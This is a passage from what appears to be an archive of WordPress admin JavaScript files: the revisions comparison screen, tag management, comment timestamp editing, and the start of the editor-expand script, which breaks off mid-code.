this.trigger( 'hovered:revision', value ); }, // Called when `compareTwoMode` changes. updateMode: function( model, value ) { this.set({ compareTwoMode: value }); }, // Called when `from` or `to` changes in the local model. handleLocalChanges: function() { this.frame.set({ from: this.get('from'), to: this.get('to') }); }, // Receives revisions changes from outside the model. receiveRevisions: function( from, to ) { // Bail if nothing changed. if ( this.get('from') === from && this.get('to') === to ) { return; } this.set({ from: from, to: to }, { silent: true }); this.trigger( 'update:revisions', from, to ); } }); revisions.model.Tooltip = Backbone.Model.extend({ defaults: { revision: null, offset: {}, hovering: false, // Whether the mouse is hovering. scrubbing: false // Whether the mouse is scrubbing. }, initialize: function( options ) { this.frame = options.frame; this.revisions = options.revisions; this.slider = options.slider; this.listenTo( this.slider, 'hovered:revision', this.updateRevision ); this.listenTo( this.slider, 'change:hovering', this.setHovering ); this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing ); }, updateRevision: function( revision ) { this.set({ revision: revision }); }, setHovering: function( model, value ) { this.set({ hovering: value }); }, setScrubbing: function( model, value ) { this.set({ scrubbing: value }); } }); revisions.model.Revision = Backbone.Model.extend({}); /** * wp.revisions.model.Revisions * * A collection of post revisions. */ revisions.model.Revisions = Backbone.Collection.extend({ model: revisions.model.Revision, initialize: function() { _.bindAll( this, 'next', 'prev' ); }, next: function( revision ) { var index = this.indexOf( revision ); if ( index !== -1 && index !== this.length - 1 ) { return this.at( index + 1 ); } }, prev: function( revision ) { var index = this.indexOf( revision ); if ( index !== -1 && index !== 0 ) { return this.at( index - 1 ); } } }); revisions.model.Field = Backbone.Model.extend({}); revisions.model.Fields = Backbone.Collection.extend({ model: revisions.model.Field }); revisions.model.Diff = Backbone.Model.extend({ initialize: function() { var fields = this.get('fields'); this.unset('fields'); this.fields = new revisions.model.Fields( fields ); } }); revisions.model.Diffs = Backbone.Collection.extend({ initialize: function( models, options ) { _.bindAll( this, 'getClosestUnloaded' ); this.loadAll = _.once( this._loadAll ); this.revisions = options.revisions; this.postId = options.postId; this.requests = {}; }, model: revisions.model.Diff, ensure: function( id, context ) { var diff = this.get( id ), request = this.requests[ id ], deferred = $.Deferred(), ids = {}, from = id.split(':')[0], to = id.split(':')[1]; ids[id] = true; wp.revisions.log( 'ensure', id ); this.trigger( 'ensure', ids, from, to, deferred.promise() ); if ( diff ) { deferred.resolveWith( context, [ diff ] ); } else { this.trigger( 'ensure:load', ids, from, to, deferred.promise() ); _.each( ids, _.bind( function( id ) { // Remove anything that has an ongoing request. if ( this.requests[ id ] ) { delete ids[ id ]; } // Remove anything we already have. if ( this.get( id ) ) { delete ids[ id ]; } }, this ) ); if ( ! request ) { // Always include the ID that started this ensure. ids[ id ] = true; request = this.load( _.keys( ids ) ); } request.done( _.bind( function() { deferred.resolveWith( context, [ this.get( id ) ] ); }, this ) ).fail( _.bind( function() { deferred.reject(); }) ); } return deferred.promise(); }, // Returns an array of proximal diffs. getClosestUnloaded: function( ids, centerId ) { var self = this; return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) { return Math.abs( centerId - pair[1] ); }).map( function( pair ) { return pair.join(':'); }).filter( function( diffId ) { return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ]; }).value(); }, _loadAll: function( allRevisionIds, centerId, num ) { var self = this, deferred = $.Deferred(), diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num ); if ( _.size( diffs ) > 0 ) { this.load( diffs ).done( function() { self._loadAll( allRevisionIds, centerId, num ).done( function() { deferred.resolve(); }); }).fail( function() { if ( 1 === num ) { // Already tried 1. This just isn't working. Give up. deferred.reject(); } else { // Request fewer diffs this time. self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() { deferred.resolve(); }); } }); } else { deferred.resolve(); } return deferred; }, load: function( comparisons ) { wp.revisions.log( 'load', comparisons ); // Our collection should only ever grow, never shrink, so `remove: false`. return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() { wp.revisions.log( 'load:complete', comparisons ); }); }, sync: function( method, model, options ) { if ( 'read' === method ) { options = options || {}; options.context = this; options.data = _.extend( options.data || {}, { action: 'get-revision-diffs', post_id: this.postId }); var deferred = wp.ajax.send( options ), requests = this.requests; // Record that we're requesting each diff. if ( options.data.compare ) { _.each( options.data.compare, function( id ) { requests[ id ] = deferred; }); } // When the request completes, clear the stored request. deferred.always( function() { if ( options.data.compare ) { _.each( options.data.compare, function( id ) { delete requests[ id ]; }); } }); return deferred; // Otherwise, fall back to `Backbone.sync()`. } else { return Backbone.Model.prototype.sync.apply( this, arguments ); } } }); /** * wp.revisions.model.FrameState * * The frame state. * * @see wp.revisions.view.Frame * * @param {object} attributes Model attributes - none are required. * @param {object} options Options for the model. * @param {revisions.model.Revisions} options.revisions A collection of revisions. */ revisions.model.FrameState = Backbone.Model.extend({ defaults: { loading: false, error: false, compareTwoMode: false }, initialize: function( attributes, options ) { var state = this.get( 'initialDiffState' ); _.bindAll( this, 'receiveDiff' ); this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 ); this.revisions = options.revisions; this.diffs = new revisions.model.Diffs( [], { revisions: this.revisions, postId: this.get( 'postId' ) } ); // Set the initial diffs collection. this.diffs.set( this.get( 'diffData' ) ); // Set up internal listeners. this.listenTo( this, 'change:from', this.changeRevisionHandler ); this.listenTo( this, 'change:to', this.changeRevisionHandler ); this.listenTo( this, 'change:compareTwoMode', this.changeMode ); this.listenTo( this, 'update:revisions', this.updatedRevisions ); this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus ); this.listenTo( this, 'update:diff', this.updateLoadingStatus ); // Set the initial revisions, baseUrl, and mode as provided through attributes. this.set( { to : this.revisions.get( state.to ), from : this.revisions.get( state.from ), compareTwoMode : state.compareTwoMode } ); // Start the router if browser supports History API. if ( window.history && window.history.pushState ) { this.router = new revisions.Router({ model: this }); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ pushState: true }); } }, updateLoadingStatus: function() { this.set( 'error', false ); this.set( 'loading', ! this.diff() ); }, changeMode: function( model, value ) { var toIndex = this.revisions.indexOf( this.get( 'to' ) ); // If we were on the first revision before switching to two-handled mode, // bump the 'to' position over one. if ( value && 0 === toIndex ) { this.set({ from: this.revisions.at( toIndex ), to: this.revisions.at( toIndex + 1 ) }); } // When switching back to single-handled mode, reset 'from' model to // one position before the 'to' model. if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode. this.set({ from: this.revisions.at( toIndex - 1 ), to: this.revisions.at( toIndex ) }); } }, updatedRevisions: function( from, to ) { if ( this.get( 'compareTwoMode' ) ) { // @todo Compare-two loading strategy. } else { this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 ); } }, // Fetch the currently loaded diff. diff: function() { return this.diffs.get( this._diffId ); }, /* * So long as `from` and `to` are changed at the same time, the diff * will only be updated once. This is because Backbone updates all of * the changed attributes in `set`, and then fires the `change` events. */ updateDiff: function( options ) { var from, to, diffId, diff; options = options || {}; from = this.get('from'); to = this.get('to'); diffId = ( from ? from.id : 0 ) + ':' + to.id; // Check if we're actually changing the diff id. if ( this._diffId === diffId ) { return $.Deferred().reject().promise(); } this._diffId = diffId; this.trigger( 'update:revisions', from, to ); diff = this.diffs.get( diffId ); // If we already have the diff, then immediately trigger the update. if ( diff ) { this.receiveDiff( diff ); return $.Deferred().resolve().promise(); // Otherwise, fetch the diff. } else { if ( options.immediate ) { return this._ensureDiff(); } else { this._debouncedEnsureDiff(); return $.Deferred().reject().promise(); } } }, // A simple wrapper around `updateDiff` to prevent the change event's // parameters from being passed through. changeRevisionHandler: function() { this.updateDiff(); }, receiveDiff: function( diff ) { // Did we actually get a diff? if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) { this.set({ loading: false, error: true }); } else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change. this.trigger( 'update:diff', diff ); } }, _ensureDiff: function() { return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff ); } }); /** * ======================================================================== * VIEWS * ======================================================================== */ /** * wp.revisions.view.Frame * * Top level frame that orchestrates the revisions experience. * * @param {object} options The options hash for the view. * @param {revisions.model.FrameState} options.model The frame state model. */ revisions.view.Frame = wp.Backbone.View.extend({ className: 'revisions', template: wp.template('revisions-frame'), initialize: function() { this.listenTo( this.model, 'update:diff', this.renderDiff ); this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode ); this.listenTo( this.model, 'change:loading', this.updateLoadingStatus ); this.listenTo( this.model, 'change:error', this.updateErrorStatus ); this.views.set( '.revisions-control-frame', new revisions.view.Controls({ model: this.model }) ); }, render: function() { wp.Backbone.View.prototype.render.apply( this, arguments ); $('html').css( 'overflow-y', 'scroll' ); $('#wpbody-content .wrap').append( this.el ); this.updateCompareTwoMode(); this.renderDiff( this.model.diff() ); this.views.ready(); return this; }, renderDiff: function( diff ) { this.views.set( '.revisions-diff-frame', new revisions.view.Diff({ model: diff }) ); }, updateLoadingStatus: function() { this.$el.toggleClass( 'loading', this.model.get('loading') ); }, updateErrorStatus: function() { this.$el.toggleClass( 'diff-error', this.model.get('error') ); }, updateCompareTwoMode: function() { this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') ); } }); /** * wp.revisions.view.Controls * * The controls view. * * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox. */ revisions.view.Controls = wp.Backbone.View.extend({ className: 'revisions-controls', initialize: function() { _.bindAll( this, 'setWidth' ); // Add the checkbox view. this.views.add( new revisions.view.Checkbox({ model: this.model }) ); // Add the button view. this.views.add( new revisions.view.Buttons({ model: this.model }) ); // Prep the slider model. var slider = new revisions.model.Slider({ frame: this.model, revisions: this.model.revisions }), // Prep the tooltip model. tooltip = new revisions.model.Tooltip({ frame: this.model, revisions: this.model.revisions, slider: slider }); // Add the tooltip view. this.views.add( new revisions.view.Tooltip({ model: tooltip }) ); // Add the tickmarks view. this.views.add( new revisions.view.Tickmarks({ model: tooltip }) ); // Add the visually hidden slider help view. this.views.add( new revisions.view.SliderHelp() ); // Add the slider view. this.views.add( new revisions.view.Slider({ model: slider }) ); // Add the Metabox view. this.views.add( new revisions.view.Metabox({ model: this.model }) ); }, ready: function() { this.top = this.$el.offset().top; this.window = $(window); this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) { var controls = e.data.controls, container = controls.$el.parent(), scrolled = controls.window.scrollTop(), frame = controls.views.parent; if ( scrolled >= controls.top ) { if ( ! frame.$el.hasClass('pinned') ) { controls.setWidth(); container.css('height', container.height() + 'px' ); controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) { e.data.controls.setWidth(); }); } frame.$el.addClass('pinned'); } else if ( frame.$el.hasClass('pinned') ) { controls.window.off('.wp.revisions.pinning'); controls.$el.css('width', 'auto'); frame.$el.removeClass('pinned'); container.css('height', 'auto'); controls.top = controls.$el.offset().top; } else { controls.top = controls.$el.offset().top; } }); }, setWidth: function() { this.$el.css('width', this.$el.parent().width() + 'px'); } }); // The tickmarks view. revisions.view.Tickmarks = wp.Backbone.View.extend({ className: 'revisions-tickmarks', direction: isRtl ? 'right' : 'left', initialize: function() { this.listenTo( this.model, 'change:revision', this.reportTickPosition ); }, reportTickPosition: function( model, revision ) { var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision ); thisOffset = this.$el.allOffsets(); parentOffset = this.$el.parent().allOffsets(); if ( index === this.model.revisions.length - 1 ) { // Last one. offset = { rightPlusWidth: thisOffset.left - parentOffset.left + 1, leftPlusWidth: thisOffset.right - parentOffset.right + 1 }; } else { // Normal tick. tick = this.$('div:nth-of-type(' + (index + 1) + ')'); offset = tick.allPositions(); _.extend( offset, { left: offset.left + thisOffset.left - parentOffset.left, right: offset.right + thisOffset.right - parentOffset.right }); _.extend( offset, { leftPlusWidth: offset.left + tick.outerWidth(), rightPlusWidth: offset.right + tick.outerWidth() }); } this.model.set({ offset: offset }); }, ready: function() { var tickCount, tickWidth; tickCount = this.model.revisions.length - 1; tickWidth = 1 / tickCount; this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px'); _(tickCount).times( function( index ){ this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' ); }, this ); } }); // The metabox view. revisions.view.Metabox = wp.Backbone.View.extend({ className: 'revisions-meta', initialize: function() { // Add the 'from' view. this.views.add( new revisions.view.MetaFrom({ model: this.model, className: 'diff-meta diff-meta-from' }) ); // Add the 'to' view. this.views.add( new revisions.view.MetaTo({ model: this.model }) ); } }); // The revision meta view (to be extended). revisions.view.Meta = wp.Backbone.View.extend({ template: wp.template('revisions-meta'), events: { 'click .restore-revision': 'restoreRevision' }, initialize: function() { this.listenTo( this.model, 'update:revisions', this.render ); }, prepare: function() { return _.extend( this.model.toJSON()[this.type] || {}, { type: this.type }); }, restoreRevision: function() { document.location = this.model.get('to').attributes.restoreUrl; } }); // The revision meta 'from' view. revisions.view.MetaFrom = revisions.view.Meta.extend({ className: 'diff-meta diff-meta-from', type: 'from' }); // The revision meta 'to' view. revisions.view.MetaTo = revisions.view.Meta.extend({ className: 'diff-meta diff-meta-to', type: 'to' }); // The checkbox view. revisions.view.Checkbox = wp.Backbone.View.extend({ className: 'revisions-checkbox', template: wp.template('revisions-checkbox'), events: { 'click .compare-two-revisions': 'compareTwoToggle' }, initialize: function() { this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode ); }, ready: function() { if ( this.model.revisions.length < 3 ) { $('.revision-toggle-compare-mode').hide(); } }, updateCompareTwoMode: function() { this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') ); }, // Toggle the compare two mode feature when the compare two checkbox is checked. compareTwoToggle: function() { // Activate compare two mode? this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') }); } }); // The slider visually hidden help view. revisions.view.SliderHelp = wp.Backbone.View.extend({ className: 'revisions-slider-hidden-help', template: wp.template( 'revisions-slider-hidden-help' ) }); // The tooltip view. // Encapsulates the tooltip. revisions.view.Tooltip = wp.Backbone.View.extend({ className: 'revisions-tooltip', template: wp.template('revisions-meta'), initialize: function() { this.listenTo( this.model, 'change:offset', this.render ); this.listenTo( this.model, 'change:hovering', this.toggleVisibility ); this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility ); }, prepare: function() { if ( _.isNull( this.model.get('revision') ) ) { return; } else { return _.extend( { type: 'tooltip' }, { attributes: this.model.get('revision').toJSON() }); } }, render: function() { var otherDirection, direction, directionVal, flipped, css = {}, position = this.model.revisions.indexOf( this.model.get('revision') ) + 1; flipped = ( position / this.model.revisions.length ) > 0.5; if ( isRtl ) { direction = flipped ? 'left' : 'right'; directionVal = flipped ? 'leftPlusWidth' : direction; } else { direction = flipped ? 'right' : 'left'; directionVal = flipped ? 'rightPlusWidth' : direction; } otherDirection = 'right' === direction ? 'left': 'right'; wp.Backbone.View.prototype.render.apply( this, arguments ); css[direction] = this.model.get('offset')[directionVal] + 'px'; css[otherDirection] = ''; this.$el.toggleClass( 'flipped', flipped ).css( css ); }, visible: function() { return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' ); }, toggleVisibility: function() { if ( this.visible() ) { this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 ); } else { this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } ); } return; } }); // The buttons view. // Encapsulates all of the configuration for the previous/next buttons. revisions.view.Buttons = wp.Backbone.View.extend({ className: 'revisions-buttons', template: wp.template('revisions-buttons'), events: { 'click .revisions-next .button': 'nextRevision', 'click .revisions-previous .button': 'previousRevision' }, initialize: function() { this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck ); }, ready: function() { this.disabledButtonCheck(); }, // Go to a specific model index. gotoModel: function( toIndex ) { var attributes = { to: this.model.revisions.at( toIndex ) }; // If we're at the first revision, unset 'from'. if ( toIndex ) { attributes.from = this.model.revisions.at( toIndex - 1 ); } else { this.model.unset('from', { silent: true }); } this.model.set( attributes ); }, // Go to the 'next' revision. nextRevision: function() { var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1; this.gotoModel( toIndex ); }, // Go to the 'previous' revision. previousRevision: function() { var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1; this.gotoModel( toIndex ); }, // Check to see if the Previous or Next buttons need to be disabled or enabled. disabledButtonCheck: function() { var maxVal = this.model.revisions.length - 1, minVal = 0, next = $('.revisions-next .button'), previous = $('.revisions-previous .button'), val = this.model.revisions.indexOf( this.model.get('to') ); // Disable "Next" button if you're on the last node. next.prop( 'disabled', ( maxVal === val ) ); // Disable "Previous" button if you're on the first node. previous.prop( 'disabled', ( minVal === val ) ); } }); // The slider view. revisions.view.Slider = wp.Backbone.View.extend({ className: 'wp-slider', direction: isRtl ? 'right' : 'left', events: { 'mousemove' : 'mouseMove' }, initialize: function() { _.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' ); this.listenTo( this.model, 'update:slider', this.applySliderSettings ); }, ready: function() { this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px'); this.$el.slider( _.extend( this.model.toJSON(), { start: this.start, slide: this.slide, stop: this.stop }) ); this.$el.hoverIntent({ over: this.mouseEnter, out: this.mouseLeave, timeout: 800 }); this.applySliderSettings(); }, accessibilityHelper: function() { var handles = $( '.ui-slider-handle' ); handles.first().attr( { role: 'button', 'aria-labelledby': 'diff-title-from diff-title-author', 'aria-describedby': 'revisions-slider-hidden-help', } ); handles.last().attr( { role: 'button', 'aria-labelledby': 'diff-title-to diff-title-author', 'aria-describedby': 'revisions-slider-hidden-help', } ); }, mouseMove: function( e ) { var zoneCount = this.model.revisions.length - 1, // One fewer zone than models. sliderFrom = this.$el.allOffsets()[this.direction], // "From" edge of slider. sliderWidth = this.$el.width(), // Width of slider. tickWidth = sliderWidth / zoneCount, // Calculated width of zone. actualX = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom. currentModelIndex = Math.floor( ( actualX + ( tickWidth / 2 ) ) / tickWidth ); // Calculate the model index. // Ensure sane value for currentModelIndex. if ( currentModelIndex < 0 ) { currentModelIndex = 0; } else if ( currentModelIndex >= this.model.revisions.length ) { currentModelIndex = this.model.revisions.length - 1; } // Update the tooltip mode. this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) }); }, mouseLeave: function() { this.model.set({ hovering: false }); }, mouseEnter: function() { this.model.set({ hovering: true }); }, applySliderSettings: function() { this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) ); var handles = this.$('a.ui-slider-handle'); if ( this.model.get('compareTwoMode') ) { // In RTL mode the 'left handle' is the second in the slider, 'right' is first. handles.first() .toggleClass( 'to-handle', !! isRtl ) .toggleClass( 'from-handle', ! isRtl ); handles.last() .toggleClass( 'from-handle', !! isRtl ) .toggleClass( 'to-handle', ! isRtl ); this.accessibilityHelper(); } else { handles.removeClass('from-handle to-handle'); this.accessibilityHelper(); } }, start: function( event, ui ) { this.model.set({ scrubbing: true }); // Track the mouse position to enable smooth dragging, // overrides default jQuery UI step behavior. $( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) { var handles, view = e.data.view, leftDragBoundary = view.$el.offset().left, sliderOffset = leftDragBoundary, sliderRightEdge = leftDragBoundary + view.$el.width(), rightDragBoundary = sliderRightEdge, leftDragReset = '0', rightDragReset = '100%', handle = $( ui.handle ); // In two handle mode, ensure handles can't be dragged past each other. // Adjust left/right boundaries and reset points. if ( view.model.get('compareTwoMode') ) { handles = handle.parent().find('.ui-slider-handle'); if ( handle.is( handles.first() ) ) { // We're the left handle. rightDragBoundary = handles.last().offset().left; rightDragReset = rightDragBoundary - sliderOffset; } else { // We're the right handle. leftDragBoundary = handles.first().offset().left + handles.first().width(); leftDragReset = leftDragBoundary - sliderOffset; } } // Follow mouse movements, as long as handle remains inside slider. if ( e.pageX < leftDragBoundary ) { handle.css( 'left', leftDragReset ); // Mouse to left of slider. } else if ( e.pageX > rightDragBoundary ) { handle.css( 'left', rightDragReset ); // Mouse to right of slider. } else { handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider. } } ); }, getPosition: function( position ) { return isRtl ? this.model.revisions.length - position - 1: position; }, // Responds to slide events. slide: function( event, ui ) { var attributes, movedRevision; // Compare two revisions mode. if ( this.model.get('compareTwoMode') ) { // Prevent sliders from occupying same spot. if ( ui.values[1] === ui.values[0] ) { return false; } if ( isRtl ) { ui.values.reverse(); } attributes = { from: this.model.revisions.at( this.getPosition( ui.values[0] ) ), to: this.model.revisions.at( this.getPosition( ui.values[1] ) ) }; } else { attributes = { to: this.model.revisions.at( this.getPosition( ui.value ) ) }; // If we're at the first revision, unset 'from'. if ( this.getPosition( ui.value ) > 0 ) { attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 ); } else { attributes.from = undefined; } } movedRevision = this.model.revisions.at( this.getPosition( ui.value ) ); // If we are scrubbing, a scrub to a revision is considered a hover. if ( this.model.get('scrubbing') ) { attributes.hoveredRevision = movedRevision; } this.model.set( attributes ); }, stop: function() { $( window ).off('mousemove.wp.revisions'); this.model.updateSliderSettings(); // To snap us back to a tick mark. this.model.set({ scrubbing: false }); } }); // The diff view. // This is the view for the current active diff. revisions.view.Diff = wp.Backbone.View.extend({ className: 'revisions-diff', template: wp.template('revisions-diff'), // Generate the options to be passed to the template. prepare: function() { return _.extend({ fields: this.model.fields.toJSON() }, this.options ); } }); // The revisions router. // Maintains the URL routes so browser URL matches state. revisions.Router = Backbone.Router.extend({ initialize: function( options ) { this.model = options.model; // Maintain state and history when navigating. this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) ); this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl ); }, baseUrl: function( url ) { return this.model.get('baseUrl') + url; }, updateUrl: function() { var from = this.model.has('from') ? this.model.get('from').id : 0, to = this.model.get('to').id; if ( this.model.get('compareTwoMode' ) ) { this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } ); } else { this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } ); } }, handleRoute: function( a, b ) { var compareTwo = _.isUndefined( b ); if ( ! compareTwo ) { b = this.model.revisions.get( a ); a = this.model.revisions.prev( b ); b = b ? b.id : 0; a = a ? a.id : 0; } } }); /** * Initialize the revisions UI for revision.php. */ revisions.init = function() { var state; // Bail if the current page is not revision.php. if ( ! window.adminpage || 'revision-php' !== window.adminpage ) { return; } state = new revisions.model.FrameState({ initialDiffState: { // wp_localize_script doesn't stringifies ints, so cast them. to: parseInt( revisions.settings.to, 10 ), from: parseInt( revisions.settings.from, 10 ), // wp_localize_script does not allow for top-level booleans so do a comparator here. compareTwoMode: ( revisions.settings.compareTwoMode === '1' ) }, diffData: revisions.settings.diffData, baseUrl: revisions.settings.baseUrl, postId: parseInt( revisions.settings.postId, 10 ) }, { revisions: new revisions.model.Revisions( revisions.settings.revisionData ) }); revisions.view.frame = new revisions.view.Frame({ model: state }).render(); }; $( revisions.init ); }(jQuery)); tags.min.js 0000644 00000004643 15222552267 0006641 0 ustar 00 /*! This file is auto-generated */ jQuery(function(s){var o=!1;function a(e){e.children().css("backgroundColor",""),e.css("pointer-events",""),e.find(":input, a").prop("disabled",!1).removeAttr("tabindex")}s("#the-list").on("click",".delete-tag",function(){var n,e=s(this),r=e.parents("tr"),t=!0;return(t="undefined"!=showNotice?showNotice.warn():t)&&(n=e.attr("href").replace(/[^?]*\?/,"").replace(/action=delete/,"action=delete-tag"),r.children().css("backgroundColor","#faafaa"),r.css("pointer-events","none"),r.find(":input, a").prop("disabled",!0).attr("tabindex",-1),s.post(ajaxurl,n,function(e){if("1"==e){s("#ajax-response").empty();let e=r.next("tr").find("a.row-title");var t=r.prev("tr").find("a.row-title");e.length<1&&t.length<1?e=s("#tag-name").trigger("focus"):e.length<1&&(e=t),r.fadeOut("normal",function(){r.remove()}),s('select#parent option[value="'+n.match(/tag_ID=(\d+)/)[1]+'"]').remove(),s("a.tag-link-"+n.match(/tag_ID=(\d+)/)[1]).remove(),e.trigger("focus"),t=wp.i18n.__("The selected tag has been deleted.")}else t="-1"==e?wp.i18n.__("Sorry, you are not allowed to do that."):wp.i18n.__("An error occurred while processing your request. Please try again later."),s("#ajax-response").empty().append('<div class="notice notice-error"><p>'+t+"</p></div>"),a(r);wp.a11y.speak(t,"assertive")})),!1}),s("#edittag").on("click",".delete",function(e){if("undefined"==typeof showNotice)return!0;showNotice.warn()||e.preventDefault()}),s("#submit").on("click",function(){var a=s(this).parents("form");return o||(o=!0,a.find(".submit .spinner").addClass("is-active"),s.post(ajaxurl,s("#addtag").serialize(),function(e){var t,n,r;if(o=!1,a.find(".submit .spinner").removeClass("is-active"),s("#ajax-response").empty(),(t=wpAjax.parseAjaxResponse(e,"ajax-response")).errors&&"empty_term_name"===t.responses[0].errors[0].code&&validateForm(a),t&&!t.errors){if(0<(e=a.find("select#parent").val())&&0<s("#tag-"+e).length?s(".tags #tag-"+e).after(t.responses[0].supplemental.noparents):s(".tags").prepend(t.responses[0].supplemental.parents),s(".tags .no-items").remove(),a.find("select#parent")){for(e=t.responses[1].supplemental,n="",r=0;r<t.responses[1].position;r++)n+=" ";a.find("select#parent option:selected").after('<option value="'+e.term_id+'">'+n+e.name+"</option>")}s('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible',a).val("")}})),!1})}); comment.js 0000644 00000005547 15222552267 0006567 0 ustar 00 /** * @output wp-admin/js/comment.js */ /* global postboxes */ /** * Binds to the document ready event. * * @since 2.5.0 * * @param {jQuery} $ The jQuery object. */ jQuery( function($) { postboxes.add_postbox_toggles('comment'); var $timestampdiv = $('#timestampdiv'), $timestamp = $( '#timestamp' ), stamp = $timestamp.html(), $timestampwrap = $timestampdiv.find( '.timestamp-wrap' ), $edittimestamp = $timestampdiv.siblings( 'a.edit-timestamp' ); /** * Adds event that opens the time stamp form if the form is hidden. * * @listens $edittimestamp:click * * @param {Event} event The event object. * @return {void} */ $edittimestamp.on( 'click', function( event ) { if ( $timestampdiv.is( ':hidden' ) ) { // Slide down the form and set focus on the first field. $timestampdiv.slideDown( 'fast', function() { $( 'input, select', $timestampwrap ).first().trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); /** * Resets the time stamp values when the cancel button is clicked. * * @listens .cancel-timestamp:click * * @param {Event} event The event object. * @return {void} */ $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) { // Move focus back to the Edit link. $edittimestamp.show().trigger( 'focus' ); $timestampdiv.slideUp( 'fast' ); $('#mm').val($('#hidden_mm').val()); $('#jj').val($('#hidden_jj').val()); $('#aa').val($('#hidden_aa').val()); $('#hh').val($('#hidden_hh').val()); $('#mn').val($('#hidden_mn').val()); $timestamp.html( stamp ); event.preventDefault(); }); /** * Sets the time stamp values when the ok button is clicked. * * @listens .save-timestamp:click * * @param {Event} event The event object. * @return {void} */ $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. var aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(), newD = new Date( aa, mm - 1, jj, hh, mn ); event.preventDefault(); if ( newD.getFullYear() != aa || (1 + newD.getMonth()) != mm || newD.getDate() != jj || newD.getMinutes() != mn ) { $timestampwrap.addClass( 'form-invalid' ); return; } else { $timestampwrap.removeClass( 'form-invalid' ); } $timestamp.html( wp.i18n.__( 'Submitted on:' ) + ' <b>' + /* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */ wp.i18n.__( '%1$s %2$s, %3$s at %4$s:%5$s' ) .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) ) .replace( '%2$s', parseInt( jj, 10 ) ) .replace( '%3$s', aa ) .replace( '%4$s', ( '00' + hh ).slice( -2 ) ) .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) + '</b> ' ); // Move focus back to the Edit link. $edittimestamp.show().trigger( 'focus' ); $timestampdiv.slideUp( 'fast' ); }); }); editor-expand.min.js 0000644 00000032213 15222552267 0010440 0 ustar 00 /*! This file is auto-generated */ !function(F,I){"use strict";var L=I(F),M=I(document),V=I("#wpadminbar"),N=I("#wpfooter");I(function(){var g,e,u=I("#postdivrich"),h=I("#wp-content-wrap"),m=I("#wp-content-editor-tools"),w=I(),H=I(),b=I("#ed_toolbar"),v=I("#content"),i=v[0],o=0,x=I("#post-status-info"),y=I(),T=I(),B=I("#side-sortables"),C=I("#postbox-container-1"),S=I("#post-body"),O=F.wp.editor&&F.wp.editor.fullscreen,r=function(){},l=function(){},z=!1,E=!1,k=!1,A=!1,W=0,K=56,R=20,Y=300,f=h.hasClass("tmce-active")?"tinymce":"html",U=!!parseInt(F.getUserSetting("hidetb"),10),D={windowHeight:0,windowWidth:0,adminBarHeight:0,toolsHeight:0,menuBarHeight:0,visualTopHeight:0,textTopHeight:0,bottomHeight:0,statusBarHeight:0,sideSortablesHeight:0},a=F._.throttle(function(){var t=F.scrollX||document.documentElement.scrollLeft,e=F.scrollY||document.documentElement.scrollTop,o=parseInt(i.style.height,10);i.style.height=Y+"px",i.scrollHeight>Y&&(i.style.height=i.scrollHeight+"px"),void 0!==t&&F.scrollTo(t,e),i.scrollHeight<o&&p()},300);function P(){var t=i.value.length;g&&!g.isHidden()||!g&&"tinymce"===f||(t<o?a():parseInt(i.style.height,10)<i.scrollHeight&&(i.style.height=Math.ceil(i.scrollHeight)+"px",p()),o=t)}function p(t){var 